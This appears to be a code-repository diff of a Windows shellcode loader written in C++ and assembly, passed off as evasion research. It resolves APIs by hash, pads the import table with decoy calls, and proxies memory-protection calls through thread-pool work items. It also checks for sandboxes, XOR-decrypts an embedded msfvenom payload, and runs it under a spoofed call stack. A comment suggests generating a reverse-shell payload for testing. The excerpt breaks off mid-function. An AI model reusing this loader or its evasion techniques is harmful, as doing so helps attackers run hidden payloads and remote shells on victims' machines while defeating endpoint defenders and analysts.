NTSTATUS WorkItemNtProtectVirtualMemory(
_In_ HANDLE ProcessHandle,
_Inout_ PVOID* BaseAddress,
_Inout_ PSIZE_T RegionSize,
_In_ ULONG NewProtection,
OUT PULONG OldProtection
);
}
#endif /* COMMON.H */
+61
View File
@@ -0,0 +1,61 @@
/* IatCamouflage.h */
#pragma once
#include <Windows.h>
#include "Structs.h"
#include "Primitives.h"
#include "Common.h"
/*================================================
@ CompileTimeSeed Function
================================================*/
int RandomCompileTimeSeed(void) {
return '0' * -40271 +
__TIME__[7] * 1 +
__TIME__[6] * 10 +
__TIME__[4] * 60 +
__TIME__[3] * 600 +
__TIME__[1] * 3600 +
__TIME__[0] * 36000;
}
/*================================================
@ AllocateDummyBuffer Function
================================================*/
PVOID AllocateDummyBuffer(
PVOID* ppAddress
) {
PVOID Address = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, 0xFF);
if (!Address)
return nullptr;
*(int*)Address = RandomCompileTimeSeed() % 0xFF;
*ppAddress = Address;
return Address;
}
/*================================================
@ IatCamouflage Function
================================================*/
VOID IatCamouflage() {
PVOID Address = nullptr;
int* X = (int*)AllocateDummyBuffer(&Address);
if (*X > 350) {
unsigned __int64 i = MessageBoxA(NULL, NULL, NULL, NULL);
i = SetCriticalSectionSpinCount(NULL, NULL);
i = GetWindowContextHelpId(NULL);
i = GetWindowLongPtrW(NULL, NULL);
i = RegisterClassW(NULL);
i = IsWindowVisible(NULL);
i = ConvertDefaultLocale(NULL);
i = MultiByteToWideChar(NULL, NULL, NULL, NULL, NULL, NULL);
i = IsDialogMessageW(NULL, NULL);
}
Macro::DeletePtr(Address);
}
+92
View File
@@ -0,0 +1,92 @@
/* InitializeAPI.h */
#pragma once
#ifndef INITIALIZEAPI_H
#define INITIALIZEAPI_H
#include <Windows.h>
#include "Primitives.h"
#include "Debug.h"
#include "Structs.h"
#include "Common.h"
namespace Win32API {
inline BOOL InitializeWin32APIs() {
PVOID Kernel32 = nullptr;
PVOID Ntdll = nullptr;
PVOID AdvApi = nullptr;
WCHAR AdvStr[] = { L'a', L'd', L'v', L'a', L'p', L'i', L'3', L'2', L'.', L'd', L'l', L'l', L'\0' };
#ifdef DEBUG
DBGPRINT("[*] Initializing Win32 APIs \n");
#endif
if (!(Kernel32 = Resolver::LdrGetModuleByHash(Hash::ExprHashStrDjb2(L"kernel32.dll")))) {
#ifdef DEBUG
DBGPRINT("[-] LdrGetModuleByHash -> Failed To Get Kernel32 Handle - %s.%d \n", GET_FILENAME(__FILE__), __LINE__);
#endif
return FALSE;
}
if (!(Ntdll = Resolver::LdrGetModuleByHash(Hash::ExprHashStrDjb2(L"ntdll.dll")))) {
#ifdef DEBUG
DBGPRINT("[-] LdrGetModuleByHash -> Failed To Get Ntdll Handle - %s.%d \n", GET_FILENAME(__FILE__), __LINE__);
#endif
return FALSE;
}
g_Win32.K32.LoadLibraryW = (decltype(g_Win32.K32.LoadLibraryW))Resolver::LdrGetSymbolByHash(Kernel32, Hash::ExprHashStrDjb2("LoadLibraryW"));
g_Win32.K32.GetModuleHandleW = (decltype(g_Win32.K32.GetModuleHandleW))Resolver::LdrGetSymbolByHash(Kernel32, Hash::ExprHashStrDjb2("GetModuleHandleW"));
g_Win32.Nt.RtlQueueWorkItem = (decltype(g_Win32.Nt.RtlQueueWorkItem))Resolver::LdrGetSymbolByHash(Ntdll, Hash::ExprHashStrDjb2("RtlQueueWorkItem"));
if (!g_Win32.K32.LoadLibraryW || !g_Win32.K32.GetModuleHandleW || !g_Win32.Nt.RtlQueueWorkItem)
return FALSE;
if (!(AdvApi = Proxy::WorkItemLoadLibrary(AdvStr))) {
#ifdef DEBUG
DBGPRINT("[-] WorkItemLoadLibrary -> Failed To Load AdvApi - %s.%d \n", GET_FILENAME(__FILE__), __LINE__);
#endif
return FALSE;
}
g_Win32.K32.WaitForSingleObject = (decltype(g_Win32.K32.WaitForSingleObject))Resolver::LdrGetSymbolByHash(Kernel32, Hash::ExprHashStrDjb2("WaitForSingleObject"));
if (!g_Win32.K32.WaitForSingleObject)
return FALSE;
g_Win32.Nt.NtCreateEvent = (decltype(g_Win32.Nt.NtCreateEvent))Resolver::LdrGetSymbolByHash(Ntdll, Hash::ExprHashStrDjb2("NtCreateEvent"));
g_Win32.Nt.NtQueryInformationProcess = (decltype(g_Win32.Nt.NtQueryInformationProcess))Resolver::LdrGetSymbolByHash(Ntdll, Hash::ExprHashStrDjb2("NtQueryInformationProcess"));
g_Win32.Nt.NtSetEvent = (decltype(g_Win32.Nt.NtSetEvent))Resolver::LdrGetSymbolByHash(Ntdll, Hash::ExprHashStrDjb2("NtSetEvent"));
g_Win32.Nt.NtWaitForSingleObject = (decltype(g_Win32.Nt.NtWaitForSingleObject))Resolver::LdrGetSymbolByHash(Ntdll, Hash::ExprHashStrDjb2("NtWaitForSingleObject"));
g_Win32.Nt.RtlAcquireSRWLockExclusive = (decltype(g_Win32.Nt.RtlAcquireSRWLockExclusive))Resolver::LdrGetSymbolByHash(Ntdll, Hash::ExprHashStrDjb2("RtlAcquireSRWLockExclusive"));
g_Win32.Nt.RtlAddFunctionTable = (decltype(g_Win32.Nt.RtlAddFunctionTable))Resolver::LdrGetSymbolByHash(Ntdll, Hash::ExprHashStrDjb2("RtlAddFunctionTable"));
g_Win32.Nt.RtlDeleteFunctionTable = (decltype(g_Win32.Nt.RtlDeleteFunctionTable))Resolver::LdrGetSymbolByHash(Ntdll, Hash::ExprHashStrDjb2("RtlDeleteFunctionTable"));
g_Win32.Nt.RtlLookupFunctionEntry = (decltype(g_Win32.Nt.RtlLookupFunctionEntry))Resolver::LdrGetSymbolByHash(Ntdll, Hash::ExprHashStrDjb2("RtlLookupFunctionEntry"));
g_Win32.Nt.RtlReleaseSRWLockExclusive = (decltype(g_Win32.Nt.RtlReleaseSRWLockExclusive))Resolver::LdrGetSymbolByHash(Ntdll, Hash::ExprHashStrDjb2("RtlReleaseSRWLockExclusive"));
g_Win32.Nt.RtlVirtualUnwind = (decltype(g_Win32.Nt.RtlVirtualUnwind))Resolver::LdrGetSymbolByHash(Ntdll, Hash::ExprHashStrDjb2("RtlVirtualUnwind"));
if (!g_Win32.Nt.NtCreateEvent || !g_Win32.Nt.NtQueryInformationProcess ||
!g_Win32.Nt.NtSetEvent || !g_Win32.Nt.RtlAcquireSRWLockExclusive ||
!g_Win32.Nt.RtlAddFunctionTable || !g_Win32.Nt.RtlDeleteFunctionTable ||
!g_Win32.Nt.RtlLookupFunctionEntry || !g_Win32.Nt.RtlReleaseSRWLockExclusive ||
!g_Win32.Nt.RtlVirtualUnwind || !g_Win32.Nt.NtWaitForSingleObject)
return FALSE;
g_Win32.AdvApi32.RegCloseKey = (decltype(g_Win32.AdvApi32.RegCloseKey))Resolver::LdrGetSymbolByHash(AdvApi, Hash::ExprHashStrDjb2("RegCloseKey"));
g_Win32.AdvApi32.RegOpenKeyExW = (decltype(g_Win32.AdvApi32.RegOpenKeyExW))Resolver::LdrGetSymbolByHash(AdvApi, Hash::ExprHashStrDjb2("RegOpenKeyExW"));
g_Win32.AdvApi32.RegQueryValueExW = (decltype(g_Win32.AdvApi32.RegQueryValueExW))Resolver::LdrGetSymbolByHash(AdvApi, Hash::ExprHashStrDjb2("RegQueryValueExW"));
g_Win32.AdvApi32.SystemFunction032 = (decltype(g_Win32.AdvApi32.SystemFunction032))Resolver::LdrGetSymbolByHash(AdvApi, Hash::ExprHashStrDjb2("SystemFunction032"));
if (!g_Win32.AdvApi32.RegCloseKey || !g_Win32.AdvApi32.RegOpenKeyExW || !g_Win32.AdvApi32.RegQueryValueExW || !g_Win32.AdvApi32.SystemFunction032)
return FALSE;
#ifdef DEBUG
DBGPRINT("[+] Success \n");
#endif
return TRUE;
}
}
#endif
+195
View File
@@ -0,0 +1,195 @@
/* Primivites.h */
#pragma once
/* HEADER GUARD */
#ifndef PRIMIVITES_H
#define PRIMIVITES_H
#include <Windows.h>
#include "Structs.h"
/*==================================================
@ ExprHashStrDjb2 Function
# Hashes the provided string via djb2 algorithm
# at compile time. Supports both ANSI & UNICODE
====================================================*/
namespace Hash {
template <typename T> struct CleanType;
template <typename T> struct CleanType<T*> { using type = T; };
template <typename T> struct CleanType<const T*> { using type = T; };
template <typename T>
constexpr ULONG ExprHashStrDjb2(_In_ T StringToHash) {
ULONG Hash = 5448;
ULONG Seed = 7;
constexpr auto XorKey = 0x1337u;
using CharType = typename CleanType<T>::type;
CharType Char = 0;
if (!StringToHash) {
return 0;
}
while ((Char = *StringToHash++) != 0) {
/* Convert current character to uppercase */
if (Char >= 'a' && Char <= 'z') {
Char -= 0x20;
}
/* Append Hash */
Hash = ((Hash << Seed) + Hash) + Char;
}
return Hash ^ XorKey;
}
}
/*==================================================
@ CRT (C Runtime Library) Function Replacements
====================================================*/
namespace Primitive {
/* memcpy */
inline VOID MemoryCopy(_In_ PVOID pDestination, _In_ PVOID pSource, _In_ SIZE_T sSize) {
PBYTE D = (PBYTE)pDestination;
PBYTE S = (PBYTE)pSource;
while (sSize--) {
*D++ = *S++;
}
}
/* memset */
inline PVOID MemorySet(_In_ PVOID pDestination, _In_ INT iValue, _In_ SIZE_T sCount) {
PBYTE D = (PBYTE)pDestination;
while (sCount--) {
*D = (BYTE)iValue;
D++;
}
return pDestination;
}
/* strlen (Supports both ANSI & UNICODE) */
template <typename T>
inline SIZE_T StringLength(_In_ T String) {
auto Ptr = String;
if (!String) return 0;
while (*Ptr) {
Ptr++;
}
return (SIZE_T)(Ptr - String);
}
/* memcmp */
inline INT MemoryCompare(_In_ const VOID* Ptr1, _In_ const VOID* Ptr2, _In_ SIZE_T Num) {
const unsigned char* P1 = (const unsigned char*)Ptr1;
const unsigned char* P2 = (const unsigned char*)Ptr2;
while (Num--) {
if (*P1 != *P2)
return *P1 - *P2;
P1++;
P2++;
}
return 0;
}
/* strrchr */
inline PCHAR StringFindLastChar(_In_ PCHAR String, _In_ INT Char) {
PCHAR Last = nullptr;
if (!String) return nullptr;
while (*String) {
if (*String == (CHAR)Char)
Last = String;
String++;
}
return Last;
}
/* Other Helpers */
inline VOID WideToAnsi(_In_ PWSTR Wide, OUT PCSTR Ansi, _In_ SIZE_T MaxCount) {
if (!Wide || !Ansi || !MaxCount)
return;
SIZE_T Index = 0;
while (Wide[Index] != L'\0' && Index < (MaxCount - 1)) {
((PCHAR)Ansi)[Index] = ((CHAR)Wide[Index]);
Index++;
}
((PCHAR)Ansi)[Index] = '\0';
}
inline VOID AnsiToWide(_In_ PCSTR Ansi, OUT PWSTR Wide, _In_ SIZE_T MaxCount) {
if (!Ansi || !Wide || !MaxCount)
return;
SIZE_T Index = 0;
while (Ansi[Index] != '\0' && Index < (MaxCount - 1)) {
Wide[Index] = (WCHAR)Ansi[Index];
Index++;
}
Wide[Index] = L'\0';
}
}
inline void* operator new(size_t size) {
return HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, size);
}
inline void operator delete(void* ptr) noexcept {
if (ptr) HeapFree(GetProcessHeap(), 0, ptr);
}
inline void operator delete(void* ptr, size_t) noexcept {
if (ptr) HeapFree(GetProcessHeap(), 0, ptr);
}
/*==================================================
@ Macros to provide better readability for the reader
====================================================*/
namespace Macro {
template <typename T>
inline VOID DeleteHandle(T& H) {
if (H && H != INVALID_HANDLE_VALUE) {
CloseHandle(H);
H = nullptr;
}
}
template <typename T>
inline VOID DeletePtr(T& PTR) {
if (PTR != nullptr) {
HeapFree(GetProcessHeap(), 0, PTR);
PTR = nullptr;
}
}
}
#endif // PRIMIVITES_H
+1495
View File
File diff suppressed because it is too large Load Diff
+27
View File
@@ -0,0 +1,27 @@
; ApiStub.asm
.code
;===========================================
; StubProxyNtProtectVirtualMemory Procedure
;===========================================
StubProxyNtProtectVirtualMemory PROC
push rbx ; Backup RBX value
mov rbx, rcx ; Backup PROTECT_MEMORY_CTX structure into a nonvol register
mov rax, [rbx] ; Move NtProtectVirtualMemory into RAX
; ====== REGISTER PARAMETERS ;======
mov rcx, [rbx + 8h] ; Move ProcessHandle parameter into RCX
mov rdx, [rbx + 10h] ; Move *BaseAddress parameter into RDX
mov r8, [rbx + 18h] ; Move RegionSize parameter into R8
mov r9, [rbx + 20h] ; Move NewProtection parameter into R9
; ====== STACK PARAMETERS ; ======
mov r10, [rbx + 28h] ; Move OldProtection parameter into r10
mov [rsp + 30h], r10 ; Push onto the stack
pop rbx ; Restore RBX value
jmp rax ; Jump directly to NtProtectVirtualMemory
StubProxyNtProtectVirtualMemory ENDP
END
+225
View File
@@ -0,0 +1,225 @@
/* Context.cpp */
#include <Windows.h>
#include "Structs.h"
#include "Primitives.h"
#include "Common.h"
#include "Debug.h"
/*================================================
@ InitializeSpoofContext Function
# Zeros out the BYOUD_CONTEXT structure and sets
# the active technique ID and target module base
================================================*/
VOID ByoudContext::InitializeSpoofContext(
OUT PBYOUD_CONTEXT pByoudCtx,
_In_ DWORD dwTechnique,
_In_ PVOID pTarget
) {
Primitive::MemorySet(pByoudCtx, 0, sizeof(BYOUD_CONTEXT));
pByoudCtx->Technique = dwTechnique;
pByoudCtx->pTargetModule = pTarget;
}
/*================================================
@ CommitSpoofChange Function
# Pushes a BYOUD_CHANGE entry into the context's
# change log array. Returns FALSE if the log is
# full (BYOUD_MAX_CHANGES reached)
================================================*/
BOOL ByoudContext::CommitSpoofChange(
_Inout_ PBYOUD_CONTEXT pByoudCtx,
_In_ PBYOUD_CHANGE pByoudChange
) {
if (pByoudCtx->Count >= BYOUD_MAX_CHANGES)
return FALSE;
pByoudCtx->Changes[pByoudCtx->Count++] = *pByoudChange;
return TRUE;
}
/*================================================
@ TrackCacheNullification Function
# Records a cache zeroing operation so it can be
# reverted later. Stores the cache address and
# its original value before nullification
================================================*/
BOOL ByoudContext::TrackCacheNullification(
_Inout_ PBYOUD_CONTEXT pByoudCtx,
_In_ ULONG_PTR uAddress,
_In_ DWORD dwOld
) {
BYOUD_CHANGE Change = {};
Change.Type = BCT_CACHE_ZERO;
Change.u.Cache.Address = uAddress;
Change.u.Cache.OldValue = dwOld;
return CommitSpoofChange(pByoudCtx, &Change);
}
/*================================================
@ TrackPDataProtection Function
# Records a .pdata protection change (either
# PAGE_READWRITE or PAGE_NOACCESS) so the
# original protection can be restored on cleanup
================================================*/
BOOL ByoudContext::TrackPDataProtection(
_Inout_ PBYOUD_CONTEXT pByoudCtx,
_In_ PVOID pModule,
_In_ PVOID pBase,
_In_ SIZE_T Size,
_In_ DWORD dwOldProtect
) {
BYOUD_CHANGE Change = {};
Change.Type = BCT_PDATA_PROTECT;
Change.u.Pdata.pModule = pModule;
Change.u.Pdata.Base = pBase;
Change.u.Pdata.Size = Size;
Change.u.Pdata.OldProtect = dwOldProtect;
return CommitSpoofChange(pByoudCtx, &Change);
}
/*================================================
@ TrackInvertedTableCollapse Function
# Records the original ImageSize before it was
# set to 0 in _INVERTED_FUNCTION_TABLE, enabling
# ExpandInvertedTableEntry to restore it later
================================================*/
BOOL ByoudContext::TrackInvertedTableCollapse(
_Inout_ PBYOUD_CONTEXT pByoudCtx,
_In_ PVOID pModule,
_In_ ULONG ulOldSize
) {
BYOUD_CHANGE Change = {};
Change.Type = BCT_INVERTED_TABLE_SHRINK;
Change.u.InvertedTable.pModule = pModule;
Change.u.InvertedTable.OldImageSize = ulOldSize;
return CommitSpoofChange(pByoudCtx, &Change);
}
/*================================================
@ TrackDynamicTableInsertion Function
# Records the allocated RUNTIME_FUNCTION pointer
# so RtlDeleteFunctionTable can remove it and
# the memory can be freed during cleanup
================================================*/
BOOL ByoudContext::TrackDynamicTableInsertion(
_Inout_ PBYOUD_CONTEXT pByoudCtx,
_In_ PRUNTIME_FUNCTION pRuntimeFunction
) {
BYOUD_CHANGE Change = {};
Change.Type = BCT_DYNAMIC_TABLE_ADD;
Change.u.DynamicAdd.pFunctionTable = pRuntimeFunction;
return CommitSpoofChange(pByoudCtx, &Change);
}
/*================================================
@ TrackDynamicTableTypeChange Function
# Records the original Type field value of the
# _DYNAMIC_FUNCTION_TABLE entry before it was
# set to 0 (RF_CALLBACK) for WinDbg bypass
================================================*/
BOOL ByoudContext::TrackDynamicTableTypeChange(
_Inout_ PBYOUD_CONTEXT pByoudCtx,
_In_ PVOID pEntry,
_In_ DWORD dwOldType
) {
BYOUD_CHANGE Change = {};
Change.Type = BCT_DYNAMIC_TABLE_TYPE;
Change.u.DynamicType.pEntry = pEntry;
Change.u.DynamicType.OldType = dwOldType;
return CommitSpoofChange(pByoudCtx, &Change);
}
/*================================================
@ TrackShellcodeInjection Function
# Records the ShadowGate stub appended to .text
# so it can be zeroed during cleanup
================================================*/
BOOL ByoudContext::TrackShellcodeInjection(
_Inout_ PBYOUD_CONTEXT pByoudCtx,
_In_ PVOID pModule,
_In_ PVOID pAddress,
_In_ DWORD dwSize
) {
BYOUD_CHANGE Change = {};
Change.Type = BCT_SHELLCODE_APPENDED;
Change.u.ShellcodeAppended.pModule = pModule;
Change.u.ShellcodeAppended.pAddress = pAddress;
Change.u.ShellcodeAppended.Size = dwSize;
return CommitSpoofChange(pByoudCtx, &Change);
}
/*================================================
@ RevertAllSpoofChanges Function
# Walks the change log in reverse order and undoes
# every tracked modification. Reverse order is
# critical — PAGE_NOACCESS must be removed first
# or subsequent .pdata access will fault
================================================*/
BOOL ByoudContext::RevertAllSpoofChanges(
_Inout_ PBYOUD_CONTEXT pByoudCtx
) {
BOOL B0K = TRUE;
DWORD Dummy = 0;
for (int i = (int)pByoudCtx->Count - 1; i >= 0; i--) {
PBYOUD_CHANGE pC = &pByoudCtx->Changes[i];
switch (pC->Type) {
case BCT_CACHE_ZERO: {
PVOID BaseAddress = (PVOID)pC->u.Cache.Address;
SIZE_T RegionSize = sizeof(DWORD);
Proxy::WorkItemNtProtectVirtualMemory(NtCurrentProcess(), &BaseAddress, &RegionSize, PAGE_READWRITE, &Dummy);
*(PDWORD)pC->u.Cache.Address = pC->u.Cache.OldValue;
Proxy::WorkItemNtProtectVirtualMemory(NtCurrentProcess(), &BaseAddress, &RegionSize, PAGE_READONLY, &Dummy);
break;
}
case BCT_PDATA_PROTECT: {
PVOID BaseAddress = pC->u.Pdata.Base;
SIZE_T RegionSize = pC->u.Pdata.Size;
Proxy::WorkItemNtProtectVirtualMemory(NtCurrentProcess(), &BaseAddress, &RegionSize, pC->u.Pdata.OldProtect, &Dummy);
break;
}
case BCT_PDATA_NOACCESS: {
StackSpoof::RestorePDataAccess(pC->u.Pdata.pModule, pC->u.Pdata.OldProtect);
break;
}
case BCT_INVERTED_TABLE_SHRINK: {
Unwinder::ExpandInvertedTableEntry(pC->u.InvertedTable.pModule, pC->u.InvertedTable.OldImageSize);
break;
}
case BCT_DYNAMIC_TABLE_ADD: {
g_Win32.Nt.RtlDeleteFunctionTable(pC->u.DynamicAdd.pFunctionTable);
::operator delete(pC->u.DynamicAdd.pFunctionTable);
break;
}
case BCT_DYNAMIC_TABLE_TYPE: {
*(PDWORD)((ULONG_PTR)pC->u.DynamicType.pEntry + 0x50) = pC->u.DynamicType.OldType;
break;
}
case BCT_SHELLCODE_APPENDED: {
PVOID BaseAddress = pC->u.ShellcodeAppended.pAddress;
SIZE_T RegionSize = pC->u.ShellcodeAppended.Size;
DWORD OldProt = 0;
Proxy::WorkItemNtProtectVirtualMemory(NtCurrentProcess(), &BaseAddress, &RegionSize, PAGE_EXECUTE_READWRITE, &OldProt);
Primitive::MemorySet(
pC->u.ShellcodeAppended.pAddress,
0,
pC->u.ShellcodeAppended.Size
);
Proxy::WorkItemNtProtectVirtualMemory(NtCurrentProcess(), &BaseAddress, &RegionSize, PAGE_EXECUTE_READ, &Dummy);
break;
}
}
}
pByoudCtx->Count = 0;
return B0K;
}
+17
View File
@@ -0,0 +1,17 @@
/* Debug.cpp */
#include "Debug.h"
#ifdef DEBUG
BOOL g_bCreated = FALSE;
VOID CreateDebugConsole() {
if (g_bCreated)
return;
if (!GetConsoleWindow() && AllocConsole())
g_bCreated = TRUE;
}
#endif // DEBUG
+14
View File
@@ -0,0 +1,14 @@
/* Intrinsic.cpp */
#include <Windows.h>
#pragma intrinsic(memset)
#pragma function(memset)
extern void* __cdecl memset(void*, int, size_t);
void* __cdecl memset(void* dest, int val, size_t count) {
unsigned char* p = (unsigned char*)dest;
while (count--)
*p++ = (unsigned char)val;
return dest;
}
+98
View File
@@ -0,0 +1,98 @@
/* Main.cpp
*
* NOTE: For testing call stack spoofing, use a persistent
* payload that does not exit immediately (e.g. a reverse shell or a long-running
* beacon). Short-lived payloads like exec/calc will terminate before you can
* inspect the spoofed call stack.
*
* Example (msfvenom reverse shell):
* msfvenom -p windows/x64/shell_reverse_tcp LHOST=<IP> LPORT=<PORT> EXITFUNC=thread -f c
*/
#include <Windows.h>
#include "Structs.h"
#include "Primitives.h"
#include "Common.h"
#include "InitializeAPI.h"
#include "IatCamouflage.h"
#include "Debug.h"
/* <<<!>>> MSFVENOM X64 CALC SHELLCODE <<<!>>> */
unsigned char CipherText[] = {
0xCB, 0xFE, 0xFF, 0x56, 0x61, 0xB2, 0x89, 0x9F, 0x1A, 0x19, 0x36, 0x66, 0x2E, 0xD7, 0xB2, 0x5B,
0x28, 0x0E, 0x20, 0xB3, 0x33, 0xFE, 0xFB, 0x75, 0xF7, 0x66, 0x41, 0x32, 0x15, 0xC7, 0xA9, 0xAC,
0x17, 0xFE, 0xF7, 0xC0, 0xC1, 0x12, 0x46, 0x28, 0x50, 0x53, 0x3A, 0x06, 0xA6, 0xCF, 0xD1, 0xCA,
0xD2, 0x7A, 0x70, 0x1D, 0x54, 0x9A, 0x50, 0x66, 0x56, 0xE7, 0xC7, 0x21, 0x0C, 0x4E, 0xC0, 0x13,
0x65, 0xF7, 0x2D, 0xFA, 0x1A, 0x08, 0x69, 0x14, 0x58, 0x25, 0x3F, 0x36, 0xBF, 0x0C, 0x60, 0x82,
0x7E, 0x46, 0x11, 0x29, 0xD3, 0x76, 0x04, 0x40, 0xDF, 0x2F, 0x1A, 0x30, 0x86, 0xC7, 0x3A, 0xBA,
0xBC, 0xF6, 0x5C, 0xFB, 0x90, 0x8A, 0xAA, 0xC9, 0x52, 0xE6, 0xBE, 0x76, 0xE4, 0xB3, 0x68, 0x42,
0x7F, 0x90, 0x5C, 0x50, 0x9F, 0xFE, 0x41, 0xE7, 0x3B, 0x6F, 0x0B, 0xA9, 0x00, 0xCE, 0x23, 0x3F,
0x0F, 0x56, 0x09, 0x43, 0xDD, 0x59, 0x05, 0xBB, 0x12, 0x5C, 0x4E, 0xE6, 0x1A, 0x5F, 0xB8, 0x4E,
0xF5, 0x06, 0x35, 0x28, 0x57, 0x66, 0x16, 0x66, 0x1C, 0x22, 0x82, 0x24, 0x86, 0xCF, 0x3E, 0xB7,
0x36, 0x66, 0x3D, 0x39, 0x95, 0xD2, 0x01, 0x9E, 0xCA, 0x58, 0x2F, 0x76, 0x37, 0xD9, 0xB9, 0x50,
0x3F, 0x1E, 0x50, 0x38, 0x17, 0xEC, 0x38, 0xA4, 0x7B, 0x0E, 0x8B, 0x32, 0xF2, 0x6F, 0x7A, 0xBF,
0x6E, 0xEC, 0x34, 0x39, 0x83, 0xB3, 0x1E, 0x60, 0xE5, 0xE6, 0x2A, 0x7F, 0xD5, 0x86, 0xE0, 0x0A,
0x7E, 0x46, 0x11, 0x61, 0x56, 0xFE, 0xFD, 0xAA, 0x96, 0x2F, 0xCA, 0x60, 0x4C, 0x35, 0x13, 0x75,
0x58, 0x31, 0x83, 0x67, 0x2A, 0xBA, 0x54, 0xB5, 0x10, 0x58, 0xCD, 0x91, 0xFA, 0x3A, 0x7D, 0xF5,
0xAB, 0x0E, 0x92, 0xA5, 0x7E, 0x8A, 0x76, 0x5B, 0x9D, 0xAE, 0x31, 0x80, 0x78, 0x8A, 0x99, 0xB9,
0x24, 0xC4, 0x13, 0xD8, 0x91, 0x03, 0x08, 0x16, 0xC0, 0xE6, 0xA2, 0x54, 0x0E, 0xEB, 0x83, 0x24,
0x1B, 0x3E, 0x74, 0x61
};
unsigned char XorKey[] = {
0x37, 0xB6, 0x7C, 0xB2, 0x91, 0x5A, 0x49, 0x9F, 0x1A, 0x19, 0x77, 0x37, 0x6F, 0x87, 0xE0, 0x0A,
0x7E, 0x46, 0x11, 0x61, 0x56, 0xB6, 0x70, 0x27, 0x97, 0x2E, 0xCA, 0x60, 0x0D, 0x8F, 0x22, 0xFE
};
VOID XorDecrypt(PBYTE pPayload, SIZE_T sPayloadSize, PBYTE pKey, SIZE_T sKeySize) {
for (SIZE_T i = 0, j = 0; i < sPayloadSize; i++, j++) {
if (j >= sKeySize) {
j = 0;
}
pPayload[i] = pPayload[i] ^ pKey[j];
}
}
int main() {
PBYTE Data = (PBYTE)CipherText;
SIZE_T Size = sizeof(CipherText);
#ifdef DEBUG
CreateDebugConsole();
#endif
/* Initialize Win32 APIs */
if (!Win32API::InitializeWin32APIs()) {
return -1;
}
/* Execute IAT Camouflage */
#ifdef DEBUG
DBGPRINT("[*] Executing IAT Camouflage \n");
#endif
IatCamouflage();
#ifdef DEBUG
DBGPRINT("[+] Success \n");
#endif
/* Decrypt the payload */
#ifdef DEBUG
DBGPRINT("[*] Decrypting The Payload \n");
#endif
XorDecrypt(Data, Size, XorKey, sizeof(XorKey));
#ifdef DEBUG
DBGPRINT("[+] Success \n");
#endif
/* Execute payload with stack spoofing */
StackSpoof::ExecuteWithSpoofedStack(
Data,
Size
);
return 0;
}
+149
View File
@@ -0,0 +1,149 @@
/* Proxy.cpp */
#include <Windows.h>
#include "Structs.h"
#include "Primitives.h"
#include "Common.h"
#include "Debug.h"
/*================================================
@ SharedTimeStamp Function
# Reads the current system time directly from
# KUSER_SHARED_DATA without issuing any API calls
================================================*/
ULONG64 SharedTimeStamp() {
volatile PKUSER_SHARED_DATA UserSharedData = USER_SHARED_DATA;
LARGE_INTEGER TimeStamp {
.LowPart = UserSharedData->SystemTime.LowPart,
.HighPart = UserSharedData->SystemTime.High1Time
};
return TimeStamp.QuadPart;
}
/*================================================
@ SharedSleep Function
# Performs a spinloop-based sleep by polling
# KUSER_SHARED_DATA. Detects sandbox time
# acceleration via timestamp drift check
================================================*/
VOID SharedSleep(
_In_ ULONG64 uMilliseconds
) {
ULONG64 Start64 = SharedTimeStamp() + (uMilliseconds * DELAY_TICKS);
for (SIZE_T Index = 0; SharedTimeStamp() < Start64; Index++);
if ((SharedTimeStamp() - Start64) > 2000)
return;
}
/*================================================
@ WorkItemLoadLibrary Function
# Loads a library by queuing LoadLibraryW as a
# work item via RtlQueueWorkItem, making the call
# appear to originate from a legitimate worker thread
# Polls for the module handle with a retry limit
================================================*/
PVOID Proxy::WorkItemLoadLibrary(
_In_ PWSTR LibraryName
) {
PVOID Module = nullptr;
ULONG Count = 0;
NTSTATUS Status = STATUS_SUCCESS;
if (!NT_SUCCESS(Status = g_Win32.Nt.RtlQueueWorkItem((WORKERCALLBACKFUNC)g_Win32.K32.LoadLibraryW, LibraryName, WT_EXECUTEDEFAULT))) {
#ifdef DEBUG
DBGPRINT("[-] RtlQueueWorkItem Failed With Error -> %lx - %s.%d \n", Status, GET_FILENAME(__FILE__), __LINE__);
#endif
goto Leave;
}
Count = 5;
do {
if ((Module = g_Win32.K32.GetModuleHandleW(LibraryName))) {
break;
}
SharedSleep(115);
} while (Count--);
Leave:
return Module;
}
/*================================================
@ WorkItemProxyNtProtectVirtualMemory Function
# Proxies NtProtectVirtualMemory through the thread
# pool worker via RtlQueueWorkItem and an assembly
# stub, masking the direct API call origin
================================================*/
struct PROTECT_MEMORY_CTX {
PVOID NtProtectVirtualMemory;
struct {
PVOID ProcessHandle;
PVOID* BaseAddress;
PVOID RegionSize;
PVOID NewProtection;
PVOID OldProtection;
} Args;
};
extern "C" VOID StubProxyNtProtectVirtualMemory(IN PROTECT_MEMORY_CTX* Ctx);
NTSTATUS Proxy::WorkItemNtProtectVirtualMemory(
_In_ HANDLE ProcessHandle,
_Inout_ PVOID* BaseAddress,
_Inout_ PSIZE_T RegionSize,
_In_ ULONG NewProtection,
OUT PULONG OldProtection
) {
HANDLE EventHandle = nullptr;
NTSTATUS Status = STATUS_SUCCESS;
PROTECT_MEMORY_CTX Ctx = {
.NtProtectVirtualMemory = Resolver::LdrGetSymbolByHash(Resolver::LdrGetModuleByHash(Hash::ExprHashStrDjb2(L"ntdll.dll")),
Hash::ExprHashStrDjb2("NtProtectVirtualMemory")),
.Args = {
.ProcessHandle = ProcessHandle,
.BaseAddress = BaseAddress,
.RegionSize = RegionSize,
.NewProtection = (PVOID)NewProtection,
.OldProtection = (PVOID)OldProtection
},
};
if (!NT_SUCCESS(Status = g_Win32.Nt.NtCreateEvent(&EventHandle, EVENT_ALL_ACCESS, nullptr, NotificationEvent, FALSE))) {
#ifdef DEBUG
DBGPRINT("[-] NtCreateEvent Failed With Error -> %lx - %s.%d \n", Status, GET_FILENAME(__FILE__), __LINE__);
#endif
goto Leave;
}
if (!NT_SUCCESS(Status = g_Win32.Nt.RtlQueueWorkItem((WORKERCALLBACKFUNC)StubProxyNtProtectVirtualMemory, &Ctx, WT_EXECUTEDEFAULT))) {
#ifdef DEBUG
DBGPRINT("[-] RtlQueueWorkItem Failed With Error -> %lx - %s.%d \n", Status, GET_FILENAME(__FILE__), __LINE__);
#endif
goto Leave;
}
if (!NT_SUCCESS(Status = g_Win32.Nt.RtlQueueWorkItem((WORKERCALLBACKFUNC)g_Win32.Nt.NtSetEvent, EventHandle, WT_EXECUTEDEFAULT))) {
#ifdef DEBUG
DBGPRINT("[-] RtlQueueWorkItem[2] Failed With Error -> %lx - %s.%d \n", Status, GET_FILENAME(__FILE__), __LINE__);
#endif
goto Leave;
}
